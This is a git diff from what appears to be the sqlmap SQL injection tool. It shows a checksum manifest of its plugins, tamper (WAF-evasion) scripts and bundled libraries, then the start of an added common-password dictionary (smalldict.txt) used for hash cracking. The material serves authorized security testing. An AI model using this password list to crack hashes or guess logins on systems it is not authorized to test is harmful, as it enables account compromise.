+838ed364ce46ae37fb5b02f47d2767f7d49595f81caf4bc51c1e25fd18e4aa65 plugins/dbms/mssqlserver/filesystem.py +38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e plugins/dbms/mssqlserver/fingerprint.py +1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4 plugins/dbms/mssqlserver/__init__.py +a89074020253365b6c95a4fa53e41fb0dc16f26a209b31f28e65910f26b81d21 plugins/dbms/mssqlserver/syntax.py +57f263084438e9b2ec2e62909fc51871e9eefb1a9156bbe87908592c5274b639 plugins/dbms/mssqlserver/takeover.py +275ffb2a63c179a5b1673866fcd4020d7f30a68e6d7736e7e21094e2a3234578 plugins/dbms/mysql/connector.py +51590c30177adf8c435e4d6d4be070f6708d81793f70577d9317daa4ef2485ba plugins/dbms/mysql/enumeration.py +9523715aa823ecfc7a914afabf5fe3091583c93a23ccc270c61a78b007b7a652 plugins/dbms/mysql/filesystem.py +b5708a7e3179896f0242f6188642d0f613371b2f621ad8ebb0a53c934dd36259 plugins/dbms/mysql/fingerprint.py +e2289734859246e6c1a150d12914a711901d10140659beded7aa14f22d11bca3 plugins/dbms/mysql/__init__.py +02a37c42e8a87496858fd6f9d77a5ab9375ea63a004c5393e3d02ca72bc55f19 plugins/dbms/mysql/syntax.py +1e6a7c6cc77772a4051d88604774ba5cc9e06b1180f7dba9809d0739bc65cf37 plugins/dbms/mysql/takeover.py +af1b89286e8d918e1d749db7cce87a1eae2b038c120fb799cc8ee766eb6b03e1 plugins/dbms/oracle/connector.py +5965da4e8020291beb6f35a5e11a6477edb749bdeba668225aea57af9754a4b3 plugins/dbms/oracle/enumeration.py +94132121cd085e314e9fe63d2ac174e0e26acd4ed17cdce46f93ab36c71967d9 plugins/dbms/oracle/filesystem.py +0b2dd004b9c9c41dbdd6e93f536f31a2a0b62c2815eb8099299cd692b0dd08a1 plugins/dbms/oracle/fingerprint.py +fd0bfc194540bd83843e4b45f431ad7e9c8fd4a01959f15f2a5e30dcfa6acf60 plugins/dbms/oracle/__init__.py +a5ec593a2e57d658e3448dd108781a3761484c41c0f67f6a3db59d9def57d71a plugins/dbms/oracle/syntax.py +a74fc203fbcc1c4a0656f40ed51274c53620be095e83b3933b5d2e23c6cea577 plugins/dbms/oracle/takeover.py +cc55a6bb81c182fca0482acd77ff065c441944ed7a7ef28736e4dff35d9dce5b plugins/dbms/postgresql/connector.py +81a6554971126121465060fd671d361043383e2930102e753c1ad5a1bea0abf6 plugins/dbms/postgresql/enumeration.py +cd6e7b03623f9cecd8151ddaac111072edb79e16588da8e7b3c37e9d233b290b plugins/dbms/postgresql/filesystem.py +56a3c0b692187aef120fedb639e10cecf02fbf46e9625d327a0cd4ae07c6724e plugins/dbms/postgresql/fingerprint.py +9c14f8ad202051f3f7b72147bae891abb9aa848a6645aa614a051314ac91891a plugins/dbms/postgresql/__init__.py +4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270 plugins/dbms/postgresql/syntax.py +d3cb1ebaf594b30cebddd16a8dcf6cf33a3536c3da4caf7e4b9d8c910288eb8d plugins/dbms/postgresql/takeover.py +9a63ef08407c1f4686679343e733bfc124d287ebadf747db5ecbc3abed694462 plugins/dbms/presto/connector.py +23e2fb4fc9c6b84d7503986f311da9c3a9c6eb261433f80be1e854144ebb15b4 plugins/dbms/presto/enumeration.py +874532c0a1a09e2c3d6ea5f4b9e12552ce18ae04a8d13a9f8e099071760f4a73 plugins/dbms/presto/filesystem.py +acd58559efbce9f94683260c45619286b5bb015ff5dbf39b9e8c9b286f34fbe8 plugins/dbms/presto/fingerprint.py +5c104b3ee2e86bf29a8f446d7779470b42d173e87b672c43257289b0d798d2b1 plugins/dbms/presto/__init__.py +859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/presto/syntax.py +98e28b754352529381b5cffdc701a1c08158d7e7466764310627280d51f744ba plugins/dbms/presto/takeover.py +b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/raima/connector.py +396e661bf4d75fac974bf1ba0d6dfd0a74d2bd07b7244f06a12d7de14507ebcb plugins/dbms/raima/enumeration.py +675e2a858ccd50fe3ee722d372384e060dfd50fe52186aa6308b81616d8cc9ac plugins/dbms/raima/filesystem.py +98a014372e7439a71e192a1529decd78c2da7b2341653fc2c13d030a502403d4 plugins/dbms/raima/fingerprint.py +3b49758a10ce88c5d8db081cdb4924168c726d1e060e6d09601796fba2a3fbee plugins/dbms/raima/__init__.py +1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py +5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py +5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py +99f7a319652f7a46f724cfced5555bbaade28e64c90f80b5f0b3cfbbb29a958a plugins/dbms/snowflake/enumeration.py +3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py +99c62be4ca44f5b059c87516c63919542a087e599895ec6f9bcb1a272df31a61 plugins/dbms/snowflake/fingerprint.py +1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py +859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/snowflake/syntax.py +da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f plugins/dbms/snowflake/takeover.py +cae01d387617e3986b9cfb23519b7c6a444e2d116f2dc774163abec0217f6ed6 plugins/dbms/sqlite/connector.py +fbcff0468fcccd9f86277d205b33f14578b7550b33d31716fd10003f16122752 plugins/dbms/sqlite/enumeration.py +013f6cf4d04edce3ee0ede73b6415a2774e58452a5365ab5f7a49c77650ba355 plugins/dbms/sqlite/filesystem.py +5e0551dac910ea2a2310cc3ccbe563b4fbe0b41de6dcca8237b626b96426a16c plugins/dbms/sqlite/fingerprint.py +f5b28fe6ff99de3716e7e2cd2304784a4c49b1df7a292381dae0964fb9ef80f3 plugins/dbms/sqlite/__init__.py +351a9accf1af8f7d18680b71d9c591afbe2dec8643c774e2a3c67cc56474a409 plugins/dbms/sqlite/syntax.py +e56033f9a9a1ef904a6cdbc0d71f02f93e8931a46fe050d465a87e38eb92df67 plugins/dbms/sqlite/takeover.py +b801f9ed84dd26532a4719d1bf033dfde38ecaccbdea9e6f5fd6b3395b67430d plugins/dbms/sybase/connector.py +8173165097ac6720258cf8a5ccf97600d5aa94378182ad0e1ccaa4cfcfa0c038 plugins/dbms/sybase/enumeration.py +73b41e33381cd8b13c21959006ef1c6006540d00d53b3ccb1a7915578b860f23 plugins/dbms/sybase/filesystem.py +49ec03fe92dab994ee7f75713144b71df48469dca9eb8f9654d54cdcb227ea2c plugins/dbms/sybase/fingerprint.py +0d234ddd3f66b5153feb422fc1d75937b432d96b5e5f8df2301ddcadf6c722b2 plugins/dbms/sybase/__init__.py +233543378fb82d77192dca709e4fdc9ccf42815e2c5728818e2070af22208404 plugins/dbms/sybase/syntax.py +b10e4cdde151a46c1debba90f483764dc54f9ca2f86a693b9441a47f9ebe416f plugins/dbms/sybase/takeover.py +b76fb28d47bf16200d69a63d2db1de305ab7e6cb537346bb4b3d9e6dba651f45 plugins/dbms/vertica/connector.py +654f37677bb71400662143dc3c181acd73608b79069cdec4ec1600160094c3b4 plugins/dbms/vertica/enumeration.py +672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/vertica/filesystem.py +342fd363640ae6b4d27b7075409ddd0ee39118dc8f78005f05d94134690eda88 plugins/dbms/vertica/fingerprint.py +21e1bfdbb4853c92d21305d4508eba7f64e8f50483cb02c44ecb9bb8593a7574 plugins/dbms/vertica/__init__.py +5192982f6ccf2e04c5fa9d524353655d957ef4b39495c7e22df0028094857930 plugins/dbms/vertica/syntax.py +e7e6bc4867a1d663a0f595542cc8a1fc69049cb8653cbe0f61f025ed6aec912c plugins/dbms/vertica/takeover.py +d9a8498fd225824053c82d2950b834ca97d52edcc0009904d53170fffb42adf0 plugins/dbms/virtuoso/connector.py +4404a3b1af5f0f709f561a308a1770c9e20ca0f5d2c01b8d39ccbc2daccfcdc7 plugins/dbms/virtuoso/enumeration.py +54212546fef4ac669fa9799350a94df36b54c4057429c0f46d854377682d7b74 plugins/dbms/virtuoso/filesystem.py +5f39d91dce66af09d4361e8af43a0ad0e26c1a807a24f4abed1a85cae339e48d plugins/dbms/virtuoso/fingerprint.py +e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/virtuoso/__init__.py +859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/virtuoso/syntax.py +2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py +51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py +a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py +c091caecc93c01e17fa5432101555cae824492c060b9b7ee35cb49a211365076 plugins/generic/databases.py +4050f9dfa8a2f8dbe6ae75f91d71b3d1fa3a4b1bd28404c4a346d5a83ad512df plugins/generic/entries.py +d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py +a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py +efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/generic/__init__.py +ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py +7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py +da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py +eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generic/takeover.py +45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py +423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md +c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py +4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97 sqlmapapi.yaml +a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf +4cec2aae8d65d67cd6db60f00217aa05ab449345ed3a38e04697b85b53d755f1 sqlmap.py +eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py +a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py +cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py +0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe tamper/appendnullbyte.py +11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py +cb833979eccf26a5e176f7c8ca40a24bf9904cb2902a1b9df436aefb6a24447e tamper/between.py +6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py +9e1852d61d439181c42cb6d28656e9464a1dd5991269f000fb47e107f2f6f4f1 tamper/bluecoat.py +578e36fcf7d596574119ef75cbf1a83040913587a02855f0b6a7e684f9f9c8a5 tamper/chardoubleencode.py +c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py +72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0 tamper/charunicodeencode.py +50107854594fb13b4b95eed2ab8e66d2dd5470dd7d6b59c124ca766b1ec4b6ed tamper/charunicodeescape.py +d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16 tamper/commalesslimit.py +1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7 tamper/commalessmid.py +ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/commentbeforeparentheses.py +66cad47087c78a5658445f8a00f2e1cd533a6d7c57aec2d1eb1fe486956aa3ea tamper/concat2concatws.py +b5a5ba94a78cf83b35cdb0b08d9d69dbf1f33c07cc5152c560ae5aee54a4c066 tamper/decentities.py +1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py +99c59e6fd7cafc9238c53e037eff457823854eef7cb0c5ea05941e0223229209 tamper/equaltolike.py +b3940e8d029150a81f17a2da1141928c31b6abb9ade3672d093051e310439995 tamper/equaltorlike.py +d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f tamper/escapequotes.py +0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py +26e57bc7c118168f20a5fc80d2d2fdbef05c027328c5c55cbbe92047ee8123da tamper/halfversionedmorekeywords.py +f0a7b635061385a3bf399cc51faf4d5e10694266aaa21fba557ca655c00a09bc tamper/hex2char.py +9096cbf2283137d592408325347f46866fd139966c946f8ba1ea61826472d0bb tamper/hexentities.py +3e518ace6940d54e8844c83781756e85d5670c53dfac0a092c4ee36cd5111885 tamper/htmlencode.py +04028ea55034ef5c82167db35cb1276d3d5c717f6b22507b791342ccf82722ad tamper/if2case.py +365085e79d296791464ec3f041a26554b19ba4865c4a727e258e9586b0bcfbe7 tamper/ifnull2casewhenisnull.py +e73e3723d4b61515d7ad2c0fe6e9a9dcaeeac6a93ed6149f44d59e4e41543226 tamper/ifnull2ifisnull.py +94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py +017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py +d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py +a890b9da3e103f70137811c73eeddfffa0dcd9fa95d1ff02c40fdc450f1d9beb tamper/luanginxmore.py +93d749469882d9a540397483ad394af161ced3d43b7cefd1fad282a961222d69 tamper/luanginx.py +d68eb164a7154d288ffea398e72229cfc3fc906d0337ca9322e28c243fbd5397 tamper/misunion.py +eafd7ad140281773f92c24dbc299bec318e1c0cced4409e044e94294e40ad030 tamper/modsecurityversioned.py +b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecurityzeroversioned.py +6a6b69def1a9143748fc03aa951486621944e9ee732287e1a39ce713b2b04436 tamper/multiplespaces.py +687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py +07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py +b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py +dea9ab017cc4bde6f61f95a4f400ecba441525ff2d2dba886a2bf3ecdc1af605 tamper/percentage.py +5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py +3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py +007a21d189bfedd48d4ca2704fb7ea709ea72f4b206e38a7fe40446a12b0a6e3 tamper/randomcase.py +27dfb51abe8f97a833309c2a42c31a63c0eda4711d122639c5ea31e5b5a9021a tamper/randomcomments.py +e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b tamper/schemasplit.py +21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90 tamper/scientific.py +7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813 tamper/sleep2getlock.py +856de1573ba9b08f6f33e28ca5a96341697762afa163835dcd4772ba6e1dadc6 tamper/space2comment.py +715b56e60e8f7bf0a1198b356a32374797a8c2e1ba1f888794626205d63c63d5 tamper/space2dash.py +21c43aafe994e798335e6756fbed15f430629beb49042b56d47f232022044a65 tamper/space2hash.py +329fa6e9bb27e1770ccc1c42c3b3ddc8e57a970959d8482ff102d7bfee546a49 tamper/space2morecomment.py +c088e7061a1a4676bc7714f64005ac275fae349f3dc665f2d565f56ecae7619f tamper/space2morehash.py +f823e5afbd5ab8e3fb478d984528c7f675561cf2b4eb6634a5bc11756097a01f tamper/space2mssqlblank.py +0d3b1336a5ca15de0ce5617c153f91ff8715c34cf886a71cb8df5ae887df301d tamper/space2mssqlhash.py +528723c9cea1d91dac22cb44cab6f8f0174f98c3c547b42017589d9a19a314e1 tamper/space2mysqlblank.py +466bb10955155a042fe4ec3b3df6b98193fba1187a376179e0d4dbc068215d91 tamper/space2mysqldash.py +4ea418f8b226b0ab369f3a8e726b7df0bc4701a2d93585de70e13febe5f438b7 tamper/space2plus.py +b3b79bbcf48ba943af57978e32b928d567f28ed4e45651f15f9fe898e00c0331 tamper/space2randomblank.py +6769cbe7b42265ff257a49e17e894bc19ff805802e19f27d57c07a212de70a11 tamper/sp_password.py +8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3 tamper/substring2leftright.py +d4b29c9a47961430dd0a24c22f8fe2968374ca5b0611e8b2837481c8d77672bf tamper/symboliclogical.py +c442ec7bb6676bdc58447fa54c719a9322b1728ba96c2358081a73fa8a4612ff tamper/unionalltounion.py +9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70 tamper/unmagicquotes.py +67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa tamper/uppercase.py +3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa tamper/varnish.py +7d469ee594390cbc10378f83af403bba249240eab00f0ad5a5fe0e3fa1fcbf0d tamper/versionedkeywords.py +dcb7a5584390f1604adff075c94139dd23711f2f516b68683ec4208dd0a00fda tamper/versionedmorekeywords.py +ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py +55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py +f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py +7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py +f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py +9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py +0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py +901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py +df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py +e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee thirdparty/chardet/charsetgroupprober.py +2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py +558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py +3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c thirdparty/chardet/compat.py +4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py +0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py +924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py +46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py +883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py +fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py +32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py +368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py +d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py +257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py +806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py +737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py +62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6 thirdparty/chardet/__init__.py +be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py +3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py +d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1 thirdparty/chardet/langbulgarianmodel.py +2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7 thirdparty/chardet/langcyrillicmodel.py +f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800 thirdparty/chardet/langgreekmodel.py +2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070 thirdparty/chardet/langhebrewmodel.py +4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0 thirdparty/chardet/langhungarianmodel.py +f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94 thirdparty/chardet/langthaimodel.py +5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459 thirdparty/chardet/langturkishmodel.py +4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py +011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py +87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py +498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py +2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be thirdparty/chardet/sbcharsetprober.py +d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970 thirdparty/chardet/sbcsgroupprober.py +208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py +a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6 thirdparty/chardet/universaldetector.py +21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py +b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/chardet/version.py +1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py +162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py +a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py +d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py +f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py +fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py +179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea thirdparty/colorama/winterm.py +4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py +6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py +dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json +e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py +edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py +d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py +879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py +f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8 thirdparty/keepalive/keepalive.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py +4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py +2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py +ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py +9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py +3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py +4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py +c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py +7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE +56ae8fb03a5cf34cc5babb59f8c2c3bb20388a04f94491f6847989428ce49b82 thirdparty/socks/socks.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py +b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py +4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py +7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt new file mode 100644 index 00000000000..96b0cab614a --- /dev/null +++ b/data/txt/smalldict.txt @@ -0,0 +1,10180 @@ + +! +* +***** +****** +******** +********** +************* +------ +: +????? +?????? +!@#$% +!@#$%^ +!@#$%^& +!@#$%^&* +$HEX +0 +0000 +00000 +000000 +0000000 +00000000 +000000000 +0000000000 +0000007 +000001 +000007 +00001111 +0007 +00112233 +0069 +007 +007007 +007bond +0101 +010101 +01010101 +01011980 +01012011 +010203 +01020304 +0123 +01230123 +012345 +0123456 +01234567 +0123456789 +020202 +030300 +030303 +0420 +050505 +06071992 +0660 +070707 +080808 +0815 +090909 +0911 +0987 +098765 +09876543 +0987654321 +0racl3 +!~!1 +1 +100 +1000 +100000 +1001 +100100 +1002 +100200 +1003 +1004 +1005 +1007 +1008 +1010 +101010 +10101010 +1011 +1012 +1013 +1014 +1015 +1016 +1017 +1018 +1020 +10203 +102030 +10203040 +1022 +1023 +1024 +1025 +1026 +1027 +1028 +1029 +102938 +1029384756 +1030 +10301030 +1031 +10311031 +1066 +10sne1 +1101 +110110 +1102 +1103 +1104 +111 +1111 +11111 +111111 +1111111 +11111111 +111111111 +1111111111 +111111a +11112222 +1112 +111222 +111222333 +111222tianya +1114 +1115 +1117 +1120 +1121 +1122 +112211 +11221122 +112233 +11223344 +1122334455 +1123 +112358 +11235813 +1123581321 +1124 +1125 +1129 +11921192 +11922960 +1200 +1201 +1204 +1205 +120676 +1207 +1208 +1209 +1210 +1211 +1212 +121212 +12121212 +1212312121 +1213 +12131213 +121313 +121314 +12131415 +1214 